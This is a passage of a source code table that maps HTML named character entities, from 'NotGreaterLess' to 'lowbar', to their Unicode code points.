'\U00002271', - "NotGreaterLess;": '\U00002279', - "NotGreaterTilde;": '\U00002275', - "NotLeftTriangle;": '\U000022EA', - "NotLeftTriangleEqual;": '\U000022EC', - "NotLess;": '\U0000226E', - "NotLessEqual;": '\U00002270', - "NotLessGreater;": '\U00002278', - "NotLessTilde;": '\U00002274', - "NotPrecedes;": '\U00002280', - "NotPrecedesSlantEqual;": '\U000022E0', - "NotReverseElement;": '\U0000220C', - "NotRightTriangle;": '\U000022EB', - "NotRightTriangleEqual;": '\U000022ED', - "NotSquareSubsetEqual;": '\U000022E2', - "NotSquareSupersetEqual;": '\U000022E3', - "NotSubsetEqual;": '\U00002288', - "NotSucceeds;": '\U00002281', - "NotSucceedsSlantEqual;": '\U000022E1', - "NotSupersetEqual;": '\U00002289', - "NotTilde;": '\U00002241', - "NotTildeEqual;": '\U00002244', - "NotTildeFullEqual;": '\U00002247', - "NotTildeTilde;": '\U00002249', - "NotVerticalBar;": '\U00002224', - "Nscr;": '\U0001D4A9', - "Ntilde;": '\U000000D1', - "Nu;": '\U0000039D', - "OElig;": '\U00000152', - "Oacute;": '\U000000D3', - "Ocirc;": '\U000000D4', - "Ocy;": '\U0000041E', - "Odblac;": '\U00000150', - "Ofr;": '\U0001D512', - "Ograve;": '\U000000D2', - "Omacr;": '\U0000014C', - "Omega;": '\U000003A9', - "Omicron;": '\U0000039F', - "Oopf;": '\U0001D546', - "OpenCurlyDoubleQuote;": '\U0000201C', - "OpenCurlyQuote;": '\U00002018', - "Or;": '\U00002A54', - "Oscr;": '\U0001D4AA', - "Oslash;": '\U000000D8', - "Otilde;": '\U000000D5', - "Otimes;": '\U00002A37', - "Ouml;": '\U000000D6', - "OverBar;": '\U0000203E', - "OverBrace;": '\U000023DE', - "OverBracket;": '\U000023B4', - "OverParenthesis;": '\U000023DC', - "PartialD;": '\U00002202', - "Pcy;": '\U0000041F', - "Pfr;": '\U0001D513', - "Phi;": '\U000003A6', - "Pi;": '\U000003A0', - "PlusMinus;": '\U000000B1', - "Poincareplane;": '\U0000210C', - "Popf;": '\U00002119', - "Pr;": '\U00002ABB', - "Precedes;": '\U0000227A', - "PrecedesEqual;": '\U00002AAF', - "PrecedesSlantEqual;": '\U0000227C', - "PrecedesTilde;": '\U0000227E', - "Prime;": '\U00002033', - "Product;": '\U0000220F', - "Proportion;": '\U00002237', - "Proportional;": '\U0000221D', - "Pscr;": '\U0001D4AB', - "Psi;": '\U000003A8', - "QUOT;": '\U00000022', - "Qfr;": '\U0001D514', - "Qopf;": '\U0000211A', - "Qscr;": '\U0001D4AC', - "RBarr;": '\U00002910', - "REG;": '\U000000AE', - "Racute;": '\U00000154', - "Rang;": '\U000027EB', - "Rarr;": '\U000021A0', - "Rarrtl;": '\U00002916', - "Rcaron;": '\U00000158', - "Rcedil;": '\U00000156', - "Rcy;": '\U00000420', - "Re;": '\U0000211C', - "ReverseElement;": '\U0000220B', - "ReverseEquilibrium;": '\U000021CB', - "ReverseUpEquilibrium;": '\U0000296F', - "Rfr;": '\U0000211C', - "Rho;": '\U000003A1', - "RightAngleBracket;": '\U000027E9', - "RightArrow;": '\U00002192', - "RightArrowBar;": '\U000021E5', - "RightArrowLeftArrow;": '\U000021C4', - "RightCeiling;": '\U00002309', - "RightDoubleBracket;": '\U000027E7', - "RightDownTeeVector;": '\U0000295D', - "RightDownVector;": '\U000021C2', - "RightDownVectorBar;": '\U00002955', - "RightFloor;": '\U0000230B', - "RightTee;": '\U000022A2', - "RightTeeArrow;": '\U000021A6', - "RightTeeVector;": '\U0000295B', - "RightTriangle;": '\U000022B3', - "RightTriangleBar;": '\U000029D0', - "RightTriangleEqual;": '\U000022B5', - "RightUpDownVector;": '\U0000294F', - "RightUpTeeVector;": '\U0000295C', - "RightUpVector;": '\U000021BE', - "RightUpVectorBar;": '\U00002954', - "RightVector;": '\U000021C0', - "RightVectorBar;": '\U00002953', - "Rightarrow;": '\U000021D2', - "Ropf;": '\U0000211D', - "RoundImplies;": '\U00002970', - "Rrightarrow;": '\U000021DB', - "Rscr;": '\U0000211B', - "Rsh;": '\U000021B1', - "RuleDelayed;": '\U000029F4', - "SHCHcy;": '\U00000429', - "SHcy;": '\U00000428', - "SOFTcy;": '\U0000042C', - "Sacute;": '\U0000015A', - "Sc;": '\U00002ABC', - "Scaron;": '\U00000160', - "Scedil;": '\U0000015E', - "Scirc;": '\U0000015C', - "Scy;": '\U00000421', - "Sfr;": '\U0001D516', - "ShortDownArrow;": '\U00002193', - "ShortLeftArrow;": '\U00002190', - "ShortRightArrow;": '\U00002192', - "ShortUpArrow;": '\U00002191', - "Sigma;": '\U000003A3', - "SmallCircle;": '\U00002218', - "Sopf;": '\U0001D54A', - "Sqrt;": '\U0000221A', - "Square;": '\U000025A1', - "SquareIntersection;": '\U00002293', - "SquareSubset;": '\U0000228F', - "SquareSubsetEqual;": '\U00002291', - "SquareSuperset;": '\U00002290', - "SquareSupersetEqual;": '\U00002292', - "SquareUnion;": '\U00002294', - "Sscr;": '\U0001D4AE', - "Star;": '\U000022C6', - "Sub;": '\U000022D0', - "Subset;": '\U000022D0', - "SubsetEqual;": '\U00002286', - "Succeeds;": '\U0000227B', - "SucceedsEqual;": '\U00002AB0', - "SucceedsSlantEqual;": '\U0000227D', - "SucceedsTilde;": '\U0000227F', - "SuchThat;": '\U0000220B', - "Sum;": '\U00002211', - "Sup;": '\U000022D1', - "Superset;": '\U00002283', - "SupersetEqual;": '\U00002287', - "Supset;": '\U000022D1', - "THORN;": '\U000000DE', - "TRADE;": '\U00002122', - "TSHcy;": '\U0000040B', - "TScy;": '\U00000426', - "Tab;": '\U00000009', - "Tau;": '\U000003A4', - "Tcaron;": '\U00000164', - "Tcedil;": '\U00000162', - "Tcy;": '\U00000422', - "Tfr;": '\U0001D517', - "Therefore;": '\U00002234', - "Theta;": '\U00000398', - "ThinSpace;": '\U00002009', - "Tilde;": '\U0000223C', - "TildeEqual;": '\U00002243', - "TildeFullEqual;": '\U00002245', - "TildeTilde;": '\U00002248', - "Topf;": '\U0001D54B', - "TripleDot;": '\U000020DB', - "Tscr;": '\U0001D4AF', - "Tstrok;": '\U00000166', - "Uacute;": '\U000000DA', - "Uarr;": '\U0000219F', - "Uarrocir;": '\U00002949', - "Ubrcy;": '\U0000040E', - "Ubreve;": '\U0000016C', - "Ucirc;": '\U000000DB', - "Ucy;": '\U00000423', - "Udblac;": '\U00000170', - "Ufr;": '\U0001D518', - "Ugrave;": '\U000000D9', - "Umacr;": '\U0000016A', - "UnderBar;": '\U0000005F', - "UnderBrace;": '\U000023DF', - "UnderBracket;": '\U000023B5', - "UnderParenthesis;": '\U000023DD', - "Union;": '\U000022C3', - "UnionPlus;": '\U0000228E', - "Uogon;": '\U00000172', - "Uopf;": '\U0001D54C', - "UpArrow;": '\U00002191', - "UpArrowBar;": '\U00002912', - "UpArrowDownArrow;": '\U000021C5', - "UpDownArrow;": '\U00002195', - "UpEquilibrium;": '\U0000296E', - "UpTee;": '\U000022A5', - "UpTeeArrow;": '\U000021A5', - "Uparrow;": '\U000021D1', - "Updownarrow;": '\U000021D5', - "UpperLeftArrow;": '\U00002196', - "UpperRightArrow;": '\U00002197', - "Upsi;": '\U000003D2', - "Upsilon;": '\U000003A5', - "Uring;": '\U0000016E', - "Uscr;": '\U0001D4B0', - "Utilde;": '\U00000168', - "Uuml;": '\U000000DC', - "VDash;": '\U000022AB', - "Vbar;": '\U00002AEB', - "Vcy;": '\U00000412', - "Vdash;": '\U000022A9', - "Vdashl;": '\U00002AE6', - "Vee;": '\U000022C1', - "Verbar;": '\U00002016', - "Vert;": '\U00002016', - "VerticalBar;": '\U00002223', - "VerticalLine;": '\U0000007C', - "VerticalSeparator;": '\U00002758', - "VerticalTilde;": '\U00002240', - "VeryThinSpace;": '\U0000200A', - "Vfr;": '\U0001D519', - "Vopf;": '\U0001D54D', - "Vscr;": '\U0001D4B1', - "Vvdash;": '\U000022AA', - "Wcirc;": '\U00000174', - "Wedge;": '\U000022C0', - "Wfr;": '\U0001D51A', - "Wopf;": '\U0001D54E', - "Wscr;": '\U0001D4B2', - "Xfr;": '\U0001D51B', - "Xi;": '\U0000039E', - "Xopf;": '\U0001D54F', - "Xscr;": '\U0001D4B3', - "YAcy;": '\U0000042F', - "YIcy;": '\U00000407', - "YUcy;": '\U0000042E', - "Yacute;": '\U000000DD', - "Ycirc;": '\U00000176', - "Ycy;": '\U0000042B', - "Yfr;": '\U0001D51C', - "Yopf;": '\U0001D550', - "Yscr;": '\U0001D4B4', - "Yuml;": '\U00000178', - "ZHcy;": '\U00000416', - "Zacute;": '\U00000179', - "Zcaron;": '\U0000017D', - "Zcy;": '\U00000417', - "Zdot;": '\U0000017B', - "ZeroWidthSpace;": '\U0000200B', - "Zeta;": '\U00000396', - "Zfr;": '\U00002128', - "Zopf;": '\U00002124', - "Zscr;": '\U0001D4B5', - "aacute;": '\U000000E1', - "abreve;": '\U00000103', - "ac;": '\U0000223E', - "acd;": '\U0000223F', - "acirc;": '\U000000E2', - "acute;": '\U000000B4', - "acy;": '\U00000430', - "aelig;": '\U000000E6', - "af;": '\U00002061', - "afr;": '\U0001D51E', - "agrave;": '\U000000E0', - "alefsym;": '\U00002135', - "aleph;": '\U00002135', - "alpha;": '\U000003B1', - "amacr;": '\U00000101', - "amalg;": '\U00002A3F', - "amp;": '\U00000026', - "and;": '\U00002227', - "andand;": '\U00002A55', - "andd;": '\U00002A5C', - "andslope;": '\U00002A58', - "andv;": '\U00002A5A', - "ang;": '\U00002220', - "ange;": '\U000029A4', - "angle;": '\U00002220', - "angmsd;": '\U00002221', - "angmsdaa;": '\U000029A8', - "angmsdab;": '\U000029A9', - "angmsdac;": '\U000029AA', - "angmsdad;": '\U000029AB', - "angmsdae;": '\U000029AC', - "angmsdaf;": '\U000029AD', - "angmsdag;": '\U000029AE', - "angmsdah;": '\U000029AF', - "angrt;": '\U0000221F', - "angrtvb;": '\U000022BE', - "angrtvbd;": '\U0000299D', - "angsph;": '\U00002222', - "angst;": '\U000000C5', - "angzarr;": '\U0000237C', - "aogon;": '\U00000105', - "aopf;": '\U0001D552', - "ap;": '\U00002248', - "apE;": '\U00002A70', - "apacir;": '\U00002A6F', - "ape;": '\U0000224A', - "apid;": '\U0000224B', - "apos;": '\U00000027', - "approx;": '\U00002248', - "approxeq;": '\U0000224A', - "aring;": '\U000000E5', - "ascr;": '\U0001D4B6', - "ast;": '\U0000002A', - "asymp;": '\U00002248', - "asympeq;": '\U0000224D', - "atilde;": '\U000000E3', - "auml;": '\U000000E4', - "awconint;": '\U00002233', - "awint;": '\U00002A11', - "bNot;": '\U00002AED', - "backcong;": '\U0000224C', - "backepsilon;": '\U000003F6', - "backprime;": '\U00002035', - "backsim;": '\U0000223D', - "backsimeq;": '\U000022CD', - "barvee;": '\U000022BD', - "barwed;": '\U00002305', - "barwedge;": '\U00002305', - "bbrk;": '\U000023B5', - "bbrktbrk;": '\U000023B6', - "bcong;": '\U0000224C', - "bcy;": '\U00000431', - "bdquo;": '\U0000201E', - "becaus;": '\U00002235', - "because;": '\U00002235', - "bemptyv;": '\U000029B0', - "bepsi;": '\U000003F6', - "bernou;": '\U0000212C', - "beta;": '\U000003B2', - "beth;": '\U00002136', - "between;": '\U0000226C', - "bfr;": '\U0001D51F', - "bigcap;": '\U000022C2', - "bigcirc;": '\U000025EF', - "bigcup;": '\U000022C3', - "bigodot;": '\U00002A00', - "bigoplus;": '\U00002A01', - "bigotimes;": '\U00002A02', - "bigsqcup;": '\U00002A06', - "bigstar;": '\U00002605', - "bigtriangledown;": '\U000025BD', - "bigtriangleup;": '\U000025B3', - "biguplus;": '\U00002A04', - "bigvee;": '\U000022C1', - "bigwedge;": '\U000022C0', - "bkarow;": '\U0000290D', - "blacklozenge;": '\U000029EB', - "blacksquare;": '\U000025AA', - "blacktriangle;": '\U000025B4', - "blacktriangledown;": '\U000025BE', - "blacktriangleleft;": '\U000025C2', - "blacktriangleright;": '\U000025B8', - "blank;": '\U00002423', - "blk12;": '\U00002592', - "blk14;": '\U00002591', - "blk34;": '\U00002593', - "block;": '\U00002588', - "bnot;": '\U00002310', - "bopf;": '\U0001D553', - "bot;": '\U000022A5', - "bottom;": '\U000022A5', - "bowtie;": '\U000022C8', - "boxDL;": '\U00002557', - "boxDR;": '\U00002554', - "boxDl;": '\U00002556', - "boxDr;": '\U00002553', - "boxH;": '\U00002550', - "boxHD;": '\U00002566', - "boxHU;": '\U00002569', - "boxHd;": '\U00002564', - "boxHu;": '\U00002567', - "boxUL;": '\U0000255D', - "boxUR;": '\U0000255A', - "boxUl;": '\U0000255C', - "boxUr;": '\U00002559', - "boxV;": '\U00002551', - "boxVH;": '\U0000256C', - "boxVL;": '\U00002563', - "boxVR;": '\U00002560', - "boxVh;": '\U0000256B', - "boxVl;": '\U00002562', - "boxVr;": '\U0000255F', - "boxbox;": '\U000029C9', - "boxdL;": '\U00002555', - "boxdR;": '\U00002552', - "boxdl;": '\U00002510', - "boxdr;": '\U0000250C', - "boxh;": '\U00002500', - "boxhD;": '\U00002565', - "boxhU;": '\U00002568', - "boxhd;": '\U0000252C', - "boxhu;": '\U00002534', - "boxminus;": '\U0000229F', - "boxplus;": '\U0000229E', - "boxtimes;": '\U000022A0', - "boxuL;": '\U0000255B', - "boxuR;": '\U00002558', - "boxul;": '\U00002518', - "boxur;": '\U00002514', - "boxv;": '\U00002502', - "boxvH;": '\U0000256A', - "boxvL;": '\U00002561', - "boxvR;": '\U0000255E', - "boxvh;": '\U0000253C', - "boxvl;": '\U00002524', - "boxvr;": '\U0000251C', - "bprime;": '\U00002035', - "breve;": '\U000002D8', - "brvbar;": '\U000000A6', - "bscr;": '\U0001D4B7', - "bsemi;": '\U0000204F', - "bsim;": '\U0000223D', - "bsime;": '\U000022CD', - "bsol;": '\U0000005C', - "bsolb;": '\U000029C5', - "bsolhsub;": '\U000027C8', - "bull;": '\U00002022', - "bullet;": '\U00002022', - "bump;": '\U0000224E', - "bumpE;": '\U00002AAE', - "bumpe;": '\U0000224F', - "bumpeq;": '\U0000224F', - "cacute;": '\U00000107', - "cap;": '\U00002229', - "capand;": '\U00002A44', - "capbrcup;": '\U00002A49', - "capcap;": '\U00002A4B', - "capcup;": '\U00002A47', - "capdot;": '\U00002A40', - "caret;": '\U00002041', - "caron;": '\U000002C7', - "ccaps;": '\U00002A4D', - "ccaron;": '\U0000010D', - "ccedil;": '\U000000E7', - "ccirc;": '\U00000109', - "ccups;": '\U00002A4C', - "ccupssm;": '\U00002A50', - "cdot;": '\U0000010B', - "cedil;": '\U000000B8', - "cemptyv;": '\U000029B2', - "cent;": '\U000000A2', - "centerdot;": '\U000000B7', - "cfr;": '\U0001D520', - "chcy;": '\U00000447', - "check;": '\U00002713', - "checkmark;": '\U00002713', - "chi;": '\U000003C7', - "cir;": '\U000025CB', - "cirE;": '\U000029C3', - "circ;": '\U000002C6', - "circeq;": '\U00002257', - "circlearrowleft;": '\U000021BA', - "circlearrowright;": '\U000021BB', - "circledR;": '\U000000AE', - "circledS;": '\U000024C8', - "circledast;": '\U0000229B', - "circledcirc;": '\U0000229A', - "circleddash;": '\U0000229D', - "cire;": '\U00002257', - "cirfnint;": '\U00002A10', - "cirmid;": '\U00002AEF', - "cirscir;": '\U000029C2', - "clubs;": '\U00002663', - "clubsuit;": '\U00002663', - "colon;": '\U0000003A', - "colone;": '\U00002254', - "coloneq;": '\U00002254', - "comma;": '\U0000002C', - "commat;": '\U00000040', - "comp;": '\U00002201', - "compfn;": '\U00002218', - "complement;": '\U00002201', - "complexes;": '\U00002102', - "cong;": '\U00002245', - "congdot;": '\U00002A6D', - "conint;": '\U0000222E', - "copf;": '\U0001D554', - "coprod;": '\U00002210', - "copy;": '\U000000A9', - "copysr;": '\U00002117', - "crarr;": '\U000021B5', - "cross;": '\U00002717', - "cscr;": '\U0001D4B8', - "csub;": '\U00002ACF', - "csube;": '\U00002AD1', - "csup;": '\U00002AD0', - "csupe;": '\U00002AD2', - "ctdot;": '\U000022EF', - "cudarrl;": '\U00002938', - "cudarrr;": '\U00002935', - "cuepr;": '\U000022DE', - "cuesc;": '\U000022DF', - "cularr;": '\U000021B6', - "cularrp;": '\U0000293D', - "cup;": '\U0000222A', - "cupbrcap;": '\U00002A48', - "cupcap;": '\U00002A46', - "cupcup;": '\U00002A4A', - "cupdot;": '\U0000228D', - "cupor;": '\U00002A45', - "curarr;": '\U000021B7', - "curarrm;": '\U0000293C', - "curlyeqprec;": '\U000022DE', - "curlyeqsucc;": '\U000022DF', - "curlyvee;": '\U000022CE', - "curlywedge;": '\U000022CF', - "curren;": '\U000000A4', - "curvearrowleft;": '\U000021B6', - "curvearrowright;": '\U000021B7', - "cuvee;": '\U000022CE', - "cuwed;": '\U000022CF', - "cwconint;": '\U00002232', - "cwint;": '\U00002231', - "cylcty;": '\U0000232D', - "dArr;": '\U000021D3', - "dHar;": '\U00002965', - "dagger;": '\U00002020', - "daleth;": '\U00002138', - "darr;": '\U00002193', - "dash;": '\U00002010', - "dashv;": '\U000022A3', - "dbkarow;": '\U0000290F', - "dblac;": '\U000002DD', - "dcaron;": '\U0000010F', - "dcy;": '\U00000434', - "dd;": '\U00002146', - "ddagger;": '\U00002021', - "ddarr;": '\U000021CA', - "ddotseq;": '\U00002A77', - "deg;": '\U000000B0', - "delta;": '\U000003B4', - "demptyv;": '\U000029B1', - "dfisht;": '\U0000297F', - "dfr;": '\U0001D521', - "dharl;": '\U000021C3', - "dharr;": '\U000021C2', - "diam;": '\U000022C4', - "diamond;": '\U000022C4', - "diamondsuit;": '\U00002666', - "diams;": '\U00002666', - "die;": '\U000000A8', - "digamma;": '\U000003DD', - "disin;": '\U000022F2', - "div;": '\U000000F7', - "divide;": '\U000000F7', - "divideontimes;": '\U000022C7', - "divonx;": '\U000022C7', - "djcy;": '\U00000452', - "dlcorn;": '\U0000231E', - "dlcrop;": '\U0000230D', - "dollar;": '\U00000024', - "dopf;": '\U0001D555', - "dot;": '\U000002D9', - "doteq;": '\U00002250', - "doteqdot;": '\U00002251', - "dotminus;": '\U00002238', - "dotplus;": '\U00002214', - "dotsquare;": '\U000022A1', - "doublebarwedge;": '\U00002306', - "downarrow;": '\U00002193', - "downdownarrows;": '\U000021CA', - "downharpoonleft;": '\U000021C3', - "downharpoonright;": '\U000021C2', - "drbkarow;": '\U00002910', - "drcorn;": '\U0000231F', - "drcrop;": '\U0000230C', - "dscr;": '\U0001D4B9', - "dscy;": '\U00000455', - "dsol;": '\U000029F6', - "dstrok;": '\U00000111', - "dtdot;": '\U000022F1', - "dtri;": '\U000025BF', - "dtrif;": '\U000025BE', - "duarr;": '\U000021F5', - "duhar;": '\U0000296F', - "dwangle;": '\U000029A6', - "dzcy;": '\U0000045F', - "dzigrarr;": '\U000027FF', - "eDDot;": '\U00002A77', - "eDot;": '\U00002251', - "eacute;": '\U000000E9', - "easter;": '\U00002A6E', - "ecaron;": '\U0000011B', - "ecir;": '\U00002256', - "ecirc;": '\U000000EA', - "ecolon;": '\U00002255', - "ecy;": '\U0000044D', - "edot;": '\U00000117', - "ee;": '\U00002147', - "efDot;": '\U00002252', - "efr;": '\U0001D522', - "eg;": '\U00002A9A', - "egrave;": '\U000000E8', - "egs;": '\U00002A96', - "egsdot;": '\U00002A98', - "el;": '\U00002A99', - "elinters;": '\U000023E7', - "ell;": '\U00002113', - "els;": '\U00002A95', - "elsdot;": '\U00002A97', - "emacr;": '\U00000113', - "empty;": '\U00002205', - "emptyset;": '\U00002205', - "emptyv;": '\U00002205', - "emsp;": '\U00002003', - "emsp13;": '\U00002004', - "emsp14;": '\U00002005', - "eng;": '\U0000014B', - "ensp;": '\U00002002', - "eogon;": '\U00000119', - "eopf;": '\U0001D556', - "epar;": '\U000022D5', - "eparsl;": '\U000029E3', - "eplus;": '\U00002A71', - "epsi;": '\U000003B5', - "epsilon;": '\U000003B5', - "epsiv;": '\U000003F5', - "eqcirc;": '\U00002256', - "eqcolon;": '\U00002255', - "eqsim;": '\U00002242', - "eqslantgtr;": '\U00002A96', - "eqslantless;": '\U00002A95', - "equals;": '\U0000003D', - "equest;": '\U0000225F', - "equiv;": '\U00002261', - "equivDD;": '\U00002A78', - "eqvparsl;": '\U000029E5', - "erDot;": '\U00002253', - "erarr;": '\U00002971', - "escr;": '\U0000212F', - "esdot;": '\U00002250', - "esim;": '\U00002242', - "eta;": '\U000003B7', - "eth;": '\U000000F0', - "euml;": '\U000000EB', - "euro;": '\U000020AC', - "excl;": '\U00000021', - "exist;": '\U00002203', - "expectation;": '\U00002130', - "exponentiale;": '\U00002147', - "fallingdotseq;": '\U00002252', - "fcy;": '\U00000444', - "female;": '\U00002640', - "ffilig;": '\U0000FB03', - "fflig;": '\U0000FB00', - "ffllig;": '\U0000FB04', - "ffr;": '\U0001D523', - "filig;": '\U0000FB01', - "flat;": '\U0000266D', - "fllig;": '\U0000FB02', - "fltns;": '\U000025B1', - "fnof;": '\U00000192', - "fopf;": '\U0001D557', - "forall;": '\U00002200', - "fork;": '\U000022D4', - "forkv;": '\U00002AD9', - "fpartint;": '\U00002A0D', - "frac12;": '\U000000BD', - "frac13;": '\U00002153', - "frac14;": '\U000000BC', - "frac15;": '\U00002155', - "frac16;": '\U00002159', - "frac18;": '\U0000215B', - "frac23;": '\U00002154', - "frac25;": '\U00002156', - "frac34;": '\U000000BE', - "frac35;": '\U00002157', - "frac38;": '\U0000215C', - "frac45;": '\U00002158', - "frac56;": '\U0000215A', - "frac58;": '\U0000215D', - "frac78;": '\U0000215E', - "frasl;": '\U00002044', - "frown;": '\U00002322', - "fscr;": '\U0001D4BB', - "gE;": '\U00002267', - "gEl;": '\U00002A8C', - "gacute;": '\U000001F5', - "gamma;": '\U000003B3', - "gammad;": '\U000003DD', - "gap;": '\U00002A86', - "gbreve;": '\U0000011F', - "gcirc;": '\U0000011D', - "gcy;": '\U00000433', - "gdot;": '\U00000121', - "ge;": '\U00002265', - "gel;": '\U000022DB', - "geq;": '\U00002265', - "geqq;": '\U00002267', - "geqslant;": '\U00002A7E', - "ges;": '\U00002A7E', - "gescc;": '\U00002AA9', - "gesdot;": '\U00002A80', - "gesdoto;": '\U00002A82', - "gesdotol;": '\U00002A84', - "gesles;": '\U00002A94', - "gfr;": '\U0001D524', - "gg;": '\U0000226B', - "ggg;": '\U000022D9', - "gimel;": '\U00002137', - "gjcy;": '\U00000453', - "gl;": '\U00002277', - "glE;": '\U00002A92', - "gla;": '\U00002AA5', - "glj;": '\U00002AA4', - "gnE;": '\U00002269', - "gnap;": '\U00002A8A', - "gnapprox;": '\U00002A8A', - "gne;": '\U00002A88', - "gneq;": '\U00002A88', - "gneqq;": '\U00002269', - "gnsim;": '\U000022E7', - "gopf;": '\U0001D558', - "grave;": '\U00000060', - "gscr;": '\U0000210A', - "gsim;": '\U00002273', - "gsime;": '\U00002A8E', - "gsiml;": '\U00002A90', - "gt;": '\U0000003E', - "gtcc;": '\U00002AA7', - "gtcir;": '\U00002A7A', - "gtdot;": '\U000022D7', - "gtlPar;": '\U00002995', - "gtquest;": '\U00002A7C', - "gtrapprox;": '\U00002A86', - "gtrarr;": '\U00002978', - "gtrdot;": '\U000022D7', - "gtreqless;": '\U000022DB', - "gtreqqless;": '\U00002A8C', - "gtrless;": '\U00002277', - "gtrsim;": '\U00002273', - "hArr;": '\U000021D4', - "hairsp;": '\U0000200A', - "half;": '\U000000BD', - "hamilt;": '\U0000210B', - "hardcy;": '\U0000044A', - "harr;": '\U00002194', - "harrcir;": '\U00002948', - "harrw;": '\U000021AD', - "hbar;": '\U0000210F', - "hcirc;": '\U00000125', - "hearts;": '\U00002665', - "heartsuit;": '\U00002665', - "hellip;": '\U00002026', - "hercon;": '\U000022B9', - "hfr;": '\U0001D525', - "hksearow;": '\U00002925', - "hkswarow;": '\U00002926', - "hoarr;": '\U000021FF', - "homtht;": '\U0000223B', - "hookleftarrow;": '\U000021A9', - "hookrightarrow;": '\U000021AA', - "hopf;": '\U0001D559', - "horbar;": '\U00002015', - "hscr;": '\U0001D4BD', - "hslash;": '\U0000210F', - "hstrok;": '\U00000127', - "hybull;": '\U00002043', - "hyphen;": '\U00002010', - "iacute;": '\U000000ED', - "ic;": '\U00002063', - "icirc;": '\U000000EE', - "icy;": '\U00000438', - "iecy;": '\U00000435', - "iexcl;": '\U000000A1', - "iff;": '\U000021D4', - "ifr;": '\U0001D526', - "igrave;": '\U000000EC', - "ii;": '\U00002148', - "iiiint;": '\U00002A0C', - "iiint;": '\U0000222D', - "iinfin;": '\U000029DC', - "iiota;": '\U00002129', - "ijlig;": '\U00000133', - "imacr;": '\U0000012B', - "image;": '\U00002111', - "imagline;": '\U00002110', - "imagpart;": '\U00002111', - "imath;": '\U00000131', - "imof;": '\U000022B7', - "imped;": '\U000001B5', - "in;": '\U00002208', - "incare;": '\U00002105', - "infin;": '\U0000221E', - "infintie;": '\U000029DD', - "inodot;": '\U00000131', - "int;": '\U0000222B', - "intcal;": '\U000022BA', - "integers;": '\U00002124', - "intercal;": '\U000022BA', - "intlarhk;": '\U00002A17', - "intprod;": '\U00002A3C', - "iocy;": '\U00000451', - "iogon;": '\U0000012F', - "iopf;": '\U0001D55A', - "iota;": '\U000003B9', - "iprod;": '\U00002A3C', - "iquest;": '\U000000BF', - "iscr;": '\U0001D4BE', - "isin;": '\U00002208', - "isinE;": '\U000022F9', - "isindot;": '\U000022F5', - "isins;": '\U000022F4', - "isinsv;": '\U000022F3', - "isinv;": '\U00002208', - "it;": '\U00002062', - "itilde;": '\U00000129', - "iukcy;": '\U00000456', - "iuml;": '\U000000EF', - "jcirc;": '\U00000135', - "jcy;": '\U00000439', - "jfr;": '\U0001D527', - "jmath;": '\U00000237', - "jopf;": '\U0001D55B', - "jscr;": '\U0001D4BF', - "jsercy;": '\U00000458', - "jukcy;": '\U00000454', - "kappa;": '\U000003BA', - "kappav;": '\U000003F0', - "kcedil;": '\U00000137', - "kcy;": '\U0000043A', - "kfr;": '\U0001D528', - "kgreen;": '\U00000138', - "khcy;": '\U00000445', - "kjcy;": '\U0000045C', - "kopf;": '\U0001D55C', - "kscr;": '\U0001D4C0', - "lAarr;": '\U000021DA', - "lArr;": '\U000021D0', - "lAtail;": '\U0000291B', - "lBarr;": '\U0000290E', - "lE;": '\U00002266', - "lEg;": '\U00002A8B', - "lHar;": '\U00002962', - "lacute;": '\U0000013A', - "laemptyv;": '\U000029B4', - "lagran;": '\U00002112', - "lambda;": '\U000003BB', - "lang;": '\U000027E8', - "langd;": '\U00002991', - "langle;": '\U000027E8', - "lap;": '\U00002A85', - "laquo;": '\U000000AB', - "larr;": '\U00002190', - "larrb;": '\U000021E4', - "larrbfs;": '\U0000291F', - "larrfs;": '\U0000291D', - "larrhk;": '\U000021A9', - "larrlp;": '\U000021AB', - "larrpl;": '\U00002939', - "larrsim;": '\U00002973', - "larrtl;": '\U000021A2', - "lat;": '\U00002AAB', - "latail;": '\U00002919', - "late;": '\U00002AAD', - "lbarr;": '\U0000290C', - "lbbrk;": '\U00002772', - "lbrace;": '\U0000007B', - "lbrack;": '\U0000005B', - "lbrke;": '\U0000298B', - "lbrksld;": '\U0000298F', - "lbrkslu;": '\U0000298D', - "lcaron;": '\U0000013E', - "lcedil;": '\U0000013C', - "lceil;": '\U00002308', - "lcub;": '\U0000007B', - "lcy;": '\U0000043B', - "ldca;": '\U00002936', - "ldquo;": '\U0000201C', - "ldquor;": '\U0000201E', - "ldrdhar;": '\U00002967', - "ldrushar;": '\U0000294B', - "ldsh;": '\U000021B2', - "le;": '\U00002264', - "leftarrow;": '\U00002190', - "leftarrowtail;": '\U000021A2', - "leftharpoondown;": '\U000021BD', - "leftharpoonup;": '\U000021BC', - "leftleftarrows;": '\U000021C7', - "leftrightarrow;": '\U00002194', - "leftrightarrows;": '\U000021C6', - "leftrightharpoons;": '\U000021CB', - "leftrightsquigarrow;": '\U000021AD', - "leftthreetimes;": '\U000022CB', - "leg;": '\U000022DA', - "leq;": '\U00002264', - "leqq;": '\U00002266', - "leqslant;": '\U00002A7D', - "les;": '\U00002A7D', - "lescc;": '\U00002AA8', - "lesdot;": '\U00002A7F', - "lesdoto;": '\U00002A81', - "lesdotor;": '\U00002A83', - "lesges;": '\U00002A93', - "lessapprox;": '\U00002A85', - "lessdot;": '\U000022D6', - "lesseqgtr;": '\U000022DA', - "lesseqqgtr;": '\U00002A8B', - "lessgtr;": '\U00002276', - "lesssim;": '\U00002272', - "lfisht;": '\U0000297C', - "lfloor;": '\U0000230A', - "lfr;": '\U0001D529', - "lg;": '\U00002276', - "lgE;": '\U00002A91', - "lhard;": '\U000021BD', - "lharu;": '\U000021BC', - "lharul;": '\U0000296A', - "lhblk;": '\U00002584', - "ljcy;": '\U00000459', - "ll;": '\U0000226A', - "llarr;": '\U000021C7', - "llcorner;": '\U0000231E', - "llhard;": '\U0000296B', - "lltri;": '\U000025FA', - "lmidot;": '\U00000140', - "lmoust;": '\U000023B0', - "lmoustache;": '\U000023B0', - "lnE;": '\U00002268', - "lnap;": '\U00002A89', - "lnapprox;": '\U00002A89', - "lne;": '\U00002A87', - "lneq;": '\U00002A87', - "lneqq;": '\U00002268', - "lnsim;": '\U000022E6', - "loang;": '\U000027EC', - "loarr;": '\U000021FD', - "lobrk;": '\U000027E6', - "longleftarrow;": '\U000027F5', - "longleftrightarrow;": '\U000027F7', - "longmapsto;": '\U000027FC', - "longrightarrow;": '\U000027F6', - "looparrowleft;": '\U000021AB', - "looparrowright;": '\U000021AC', - "lopar;": '\U00002985', - "lopf;": '\U0001D55D', - "loplus;": '\U00002A2D', - "lotimes;": '\U00002A34', - "lowast;": '\U00002217', - "lowbar;": 